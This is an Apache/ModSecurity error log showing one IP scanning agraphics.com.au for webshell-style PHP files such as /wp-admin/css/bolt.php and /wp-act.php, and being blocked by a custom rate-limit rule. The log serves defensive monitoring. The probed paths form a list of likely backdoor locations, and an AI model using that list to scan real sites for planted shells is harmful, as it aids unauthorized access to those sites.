[Tue Mar 24 19:28:48.871249 2026] [:error] [pid 3032:tid 3127] [client 52.138.146.177:15089] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "acJ1cCa_-JXXD03-JNxOzAAAAJc"]
[Tue Mar 24 19:28:49.824335 2026] [:error] [pid 3031:tid 3095] [client 52.138.146.177:18780] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swallowable.php"] [unique_id "acJ1caJBKytnG47nuiYzgwAAAFM"]
[Tue Mar 24 19:28:51.394719 2026] [:error] [pid 38767:tid 38772] [client 52.138.146.177:12725] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swallowable.php"] [unique_id "acJ1c_wkUqN4GJAI5oUbHwAAAQI"]
[Tue Mar 24 19:28:52.288439 2026] [:error] [pid 48128:tid 48153] [client 52.138.146.177:14219] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swallowable.php"] [unique_id "acJ1dMvR4LIMFLbM5Vk0FgAAAYQ"]
[Tue Mar 24 19:28:53.202186 2026] [:error] [pid 38767:tid 38778] [client 52.138.146.177:15063] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swallowable.php"] [unique_id "acJ1dfwkUqN4GJAI5oUbLwAAAQg"]
[Tue Mar 24 19:28:54.007043 2026] [:error] [pid 3137:tid 3145] [client 52.138.146.177:18759] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "acJ1dpdZesutm6dfYM8g2gAAAMY"]
[Tue Mar 24 19:28:55.291717 2026] [:error] [pid 64198:tid 64213] [client 52.138.146.177:53126] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "acJ1d3VzJqf6OS_oSZ2jHwAAAU0"]
[Tue Mar 24 19:28:56.242999 2026] [:error] [pid 48214:tid 48271] [client 52.138.146.177:14252] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "acJ1eLeshLWZ3uUDHKllXwAAAdM"]
[Tue Mar 24 19:28:57.070051 2026] [:error] [pid 3030:tid 3071] [client 52.138.146.177:7989] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "acJ1eQyOuILyynfcqflYqQAAABY"]
[Tue Mar 24 19:28:57.789288 2026] [:error] [pid 38767:tid 38781] [client 52.138.146.177:1128] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "acJ1efwkUqN4GJAI5oUbNwAAAQs"]
[Tue Mar 24 19:28:58.591071 2026] [:error] [pid 48214:tid 48255] [client 52.138.146.177:15088] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "acJ1ereshLWZ3uUDHKllYQAAAcM"]
[Tue Mar 24 19:28:59.156958 2026] [:error] [pid 48214:tid 48257] [client 52.138.146.177:12468] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "acJ1e7eshLWZ3uUDHKllYgAAAcU"]
[Tue Mar 24 19:28:59.928043 2026] [:error] [pid 64198:tid 64201] [client 52.138.146.177:1424] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "acJ1e3VzJqf6OS_oSZ2jLQAAAUE"]
[Tue Mar 24 19:29:00.601855 2026] [:error] [pid 48214:tid 48252] [client 52.138.146.177:26555] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sty.php"] [unique_id "acJ1fLeshLWZ3uUDHKllZQAAAcA"]
[Tue Mar 24 19:29:01.201955 2026] [:error] [pid 3031:tid 3084] [client 52.138.146.177:11508] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sty.php"] [unique_id "acJ1faJBKytnG47nuiYzhwAAAEg"]
[Tue Mar 24 19:29:02.059054 2026] [:error] [pid 3032:tid 3108] [client 52.138.146.177:1145] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sty.php"] [unique_id "acJ1fia_-JXXD03-JNxO3QAAAIU"]
[Tue Mar 24 19:29:02.960052 2026] [:error] [pid 3137:tid 3143] [client 52.138.146.177:10230] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sty.php"] [unique_id "acJ1fpdZesutm6dfYM8g5AAAAMQ"]
[Tue Mar 24 19:29:03.835319 2026] [:error] [pid 3032:tid 3110] [client 52.138.146.177:26572] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "acJ1fya_-JXXD03-JNxO4QAAAIc"]
[Tue Mar 24 19:29:04.987448 2026] [:error] [pid 48219:tid 48289] [client 52.138.146.177:1103] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "acJ1gChf3b4R_lAIyv90-wAAAgg"]
[Tue Mar 24 19:29:05.736049 2026] [:error] [pid 48219:tid 48303] [client 52.138.146.177:11486] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "acJ1gShf3b4R_lAIyv90_AAAAhY"]
[Tue Mar 24 19:29:06.802406 2026] [:error] [pid 38767:tid 38783] [client 52.138.146.177:7940] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "acJ1gvwkUqN4GJAI5oUbRAAAAQ0"]
[Tue Mar 24 19:29:07.564440 2026] [:error] [pid 3137:tid 3156] [client 52.138.146.177:20652] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acJ1g5dZesutm6dfYM8g6wAAANE"]
[Tue Mar 24 19:29:08.939512 2026] [:error] [pid 3137:tid 3159] [client 52.138.146.177:10194] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acJ1hJdZesutm6dfYM8g9AAAANQ"]
[Tue Mar 24 19:29:09.757398 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:26546] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acJ1hfwkUqN4GJAI5oUbUQAAAQA"]
[Tue Mar 24 19:29:11.095649 2026] [proxy_fcgi:error] [pid 3030:tid 3056] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:11.423388 2026] [proxy_fcgi:error] [pid 3030:tid 3053] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:12.034453 2026] [proxy_fcgi:error] [pid 3030:tid 3072] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:12.400153 2026] [proxy_fcgi:error] [pid 3030:tid 3059] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:12.725947 2026] [:error] [pid 3030:tid 3060] [client 52.138.146.177:52238] [client 52.138.146.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.138.146.177, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acJ1iAyOuILyynfcqflYuAAAAAs"]
[Tue Mar 24 19:29:12.729393 2026] [proxy_fcgi:error] [pid 3030:tid 3060] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:12.999965 2026] [proxy_fcgi:error] [pid 3030:tid 3070] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:13.309071 2026] [proxy_fcgi:error] [pid 3030:tid 3071] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:13.693593 2026] [proxy_fcgi:error] [pid 3030:tid 3052] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:14.058161 2026] [proxy_fcgi:error] [pid 3030:tid 3057] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:14.328695 2026] [proxy_fcgi:error] [pid 3030:tid 3054] [client 52.138.146.177:52238] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:29:14.646113 2026] [:error] [pid 3030:tid 3066] [client 52.138.146.177:52238] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acJ1igyOuILyynfcqflYvgAAABE"]
[Tue Mar 24 19:29:15.416944 2026] [:error] [pid 3137:tid 3140] [client 52.138.146.177:13537] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acJ1i5dZesutm6dfYM8hEQAAAME"]
[Tue Mar 24 19:29:16.105642 2026] [:error] [pid 38767:tid 38791] [client 52.138.146.177:22545] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acJ1jPwkUqN4GJAI5oUbYQAAARU"]
[Tue Mar 24 19:29:17.028571 2026] [:error] [pid 38767:tid 38793] [client 52.138.146.177:41783] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acJ1jfwkUqN4GJAI5oUbZgAAARc"]
[Tue Mar 24 19:29:18.248097 2026] [:error] [pid 38767:tid 38775] [client 52.138.146.177:10417] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acJ1jvwkUqN4GJAI5oUbbwAAAQU"]
[Tue Mar 24 19:29:19.244597 2026] [:error] [pid 48219:tid 48294] [client 52.138.146.177:55217] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acJ1jyhf3b4R_lAIyv91CQAAAg0"]
[Tue Mar 24 19:29:20.305709 2026] [:error] [pid 48128:tid 48176] [client 52.138.146.177:1211] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acJ1kMvR4LIMFLbM5Vk0HwAAAZc"]
[Tue Mar 24 19:29:21.138125 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:29023] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "acJ1kfwkUqN4GJAI5oUbdwAAAQA"]
[Tue Mar 24 19:29:22.055366 2026] [:error] [pid 3137:tid 3157] [client 52.138.146.177:35346] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ1kpdZesutm6dfYM8hIAAAANI"]
[Tue Mar 24 19:29:23.368365 2026] [:error] [pid 3137:tid 3158] [client 52.138.146.177:16886] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ1k5dZesutm6dfYM8hJQAAANM"]
[Tue Mar 24 19:29:24.340545 2026] [:error] [pid 48219:tid 48288] [client 52.138.146.177:28998] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ1lChf3b4R_lAIyv91EQAAAgc"]
[Tue Mar 24 19:29:25.165206 2026] [:error] [pid 48219:tid 48290] [client 52.138.146.177:9123] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "acJ1lShf3b4R_lAIyv91FQAAAgk"]
[Tue Mar 24 19:29:26.676835 2026] [:error] [pid 48219:tid 48287] [client 52.138.146.177:9627] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acJ1lihf3b4R_lAIyv91FgAAAgY"]
[Tue Mar 24 19:29:27.634797 2026] [:error] [pid 48219:tid 48304] [client 52.138.146.177:1204] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acJ1lyhf3b4R_lAIyv91GQAAAhc"]
[Tue Mar 24 19:29:28.761959 2026] [:error] [pid 3137:tid 3160] [client 52.138.146.177:27910] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acJ1mJdZesutm6dfYM8hMAAAANU"]
[Tue Mar 24 19:29:29.426119 2026] [:error] [pid 3137:tid 3158] [client 52.138.146.177:9196] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acJ1mZdZesutm6dfYM8hNAAAANM"]
[Tue Mar 24 19:29:30.452697 2026] [:error] [pid 38767:tid 38785] [client 52.138.146.177:9539] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "acJ1mvwkUqN4GJAI5oUbjAAAAQ8"]
[Tue Mar 24 19:29:31.186058 2026] [:error] [pid 3031:tid 3094] [client 52.138.146.177:15625] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "acJ1m6JBKytnG47nuiYzjQAAAFI"]
[Tue Mar 24 19:29:32.208624 2026] [:error] [pid 48214:tid 48269] [client 52.138.146.177:9203] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "acJ1nLeshLWZ3uUDHKllhgAAAdE"]
[Tue Mar 24 19:29:33.450399 2026] [:error] [pid 3137:tid 3163] [client 52.138.146.177:8047] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "acJ1nZdZesutm6dfYM8hQQAAANg"]
[Tue Mar 24 19:29:34.075756 2026] [:error] [pid 3137:tid 3139] [client 52.138.146.177:8001] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "acJ1npdZesutm6dfYM8hQwAAAMA"]
[Tue Mar 24 19:29:34.871413 2026] [:error] [pid 3032:tid 3125] [client 52.138.146.177:51280] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "acJ1nia_-JXXD03-JNxPAAAAAJY"]
[Tue Mar 24 19:29:35.755972 2026] [:error] [pid 48214:tid 48256] [client 52.138.146.177:12268] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "acJ1n7eshLWZ3uUDHKlliAAAAcQ"]
[Tue Mar 24 19:29:36.622610 2026] [:error] [pid 38767:tid 38792] [client 52.138.146.177:8376] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless5.php"] [unique_id "acJ1oPwkUqN4GJAI5oUbmgAAARY"]
[Tue Mar 24 19:29:37.541770 2026] [:error] [pid 48214:tid 48275] [client 52.138.146.177:14731] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acJ1obeshLWZ3uUDHKlljAAAAdc"]
[Tue Mar 24 19:29:38.432768 2026] [:error] [pid 64198:tid 64211] [client 52.138.146.177:24225] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acJ1onVzJqf6OS_oSZ2jQwAAAUs"]
[Tue Mar 24 19:29:39.444538 2026] [:error] [pid 3137:tid 3151] [client 52.138.146.177:41247] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acJ1o5dZesutm6dfYM8hSgAAAMw"]
[Tue Mar 24 19:29:40.682111 2026] [:error] [pid 3137:tid 3145] [client 52.138.146.177:8010] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acJ1pJdZesutm6dfYM8hSwAAAMY"]
